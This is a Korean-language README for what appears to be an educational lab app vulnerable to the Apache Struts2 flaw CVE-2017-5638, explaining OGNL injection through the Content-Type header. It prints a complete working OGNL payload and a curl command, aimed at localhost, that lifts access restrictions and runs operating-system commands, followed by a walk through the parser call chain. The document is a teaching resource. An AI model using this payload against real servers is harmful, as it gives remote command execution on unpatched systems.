
CVE-2017-5638에 취약한 Struts2 애플리케이션. OGNL 및 JakartaMultiPart 파서와 관련하여 취약점 악용이 어떻게 작동하는지 설명합니다.
이 내용은 교육 및 연구 목적으로만 제공됩니다. 저는 이 프로젝트의 내용이나 정보를 불법적이거나 비윤리적인 용도로 사용하는 것을 허가하거나 지지하지 않습니다.
웹앱을 실행하려면:
명령을 보내려면 명령줄 에뮬레이터(Send.jar) 프로젝트를 사용하십시오:
빈 URL은 기본적으로 http://localhost:8080/MSCybersecurity/exploit 으로 설정되며, /exploit 엔드포인트에 있어야 합니다

이 소스를 수정하려면 프로젝트는 Maven 빌드 시스템을 사용합니다:
NVD CVE-2017-5638
이 취약점의 교묘한 점은 OGNL(Object Graph Navigation Library)을 악용하는 것입니다.
OGNL은 작업을 수행하기 위해 표현식을 사용하며, 허용되는 두 가지 표현식은 프레임워크에서 임의의 클래스를 호출하는 기능과 이벤트를 연결하는 기능입니다. 참조 가이드 OGNL Language Guide.
예를 들어, OGNL을 사용하여 edu.uvu.ms.cybersecurity.Command 객체를 인스턴스화할 수 있습니다.
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
edu.uvu.ms.cybersecurity.Command 클래스
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
또는 더 실용적인 방식으로 java.lang.ProcessBuilder 클래스를 호출하여 시스템 수준 명령을 실행할 수 있습니다.
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
다음 페이로드는 edu.uvu.ms.cybersecurity.Command를 호출하고 서버로 전달된 명령을 콘솔에 출력한 다음 명령을 실행하는 명령을 포함합니다. (이벤트 연결과 클래스 호출을 설명하기 위한 것입니다.)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
CURL로 페이로드를 전송하십시오.
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
이 페이로드의 일부는 Rapid7 GitHub에서 가져왔습니다.
Jakarta MultiPart 파서:
문제는 파서가 Content-Type 헤더의 수신 값을 이스케이프하지 않는다는 것입니다. 즉, OGNL 표현식을 Content-Header에 포함할 수 있습니다. 헤더가 MultiPart로 판단되면 OgnlTextParser.class로 전송되며, 이 클래스는 OGNL 표현식을 그대로 해석하여 결과적으로 임의의 명령을 실행하게 됩니다.
다음은 이 취약점이 어떻게 악용되는지 단계별로 살펴본 것입니다.
Struts2 Dispatcher: org.apache.struts2.dispatcher.Dispatcher
Struts Dispatcher.class는 요청을 수신하고 JakartaMultiPart 라이브러리가 처리해야 한다고 판단하여 MultiPartRequestWrapper() 생성자를 호출합니다.

그런 다음 Content-Type 헤더의 OGNL 표현식이 parse() 메서드로 전달됩니다. 헤더 정보가 잘못되었기 때문에 파서는 예외를 발생시키고 buildErrorMessage() 메서드를 호출합니다.

buildErrorMessage() 메서드는 사용자에게 반환할 적절한 오류 메시지를 찾으려고 시도하지만, 이렇게 하려면 LocalizedTextUtil.class의 findText() 메서드를 사용해야 합니다.

LocalizedTextUtil.class의 findText 메서드는 차례로 *getDefaultMessage()*를 호출하고 Content-Type 정보를 전달합니다.

getDefaultMessage() 메서드는 그런 다음 TextParseUtil.class의 translateVariables() 메서드에 위임합니다.

TextParseUtil.class의 translateVariables() 메서드는 OgnlTextParser.class의 evaluate 메서드에 위임합니다.

그 결과 모든 OGNL 표현식이 이제 실행됩니다.
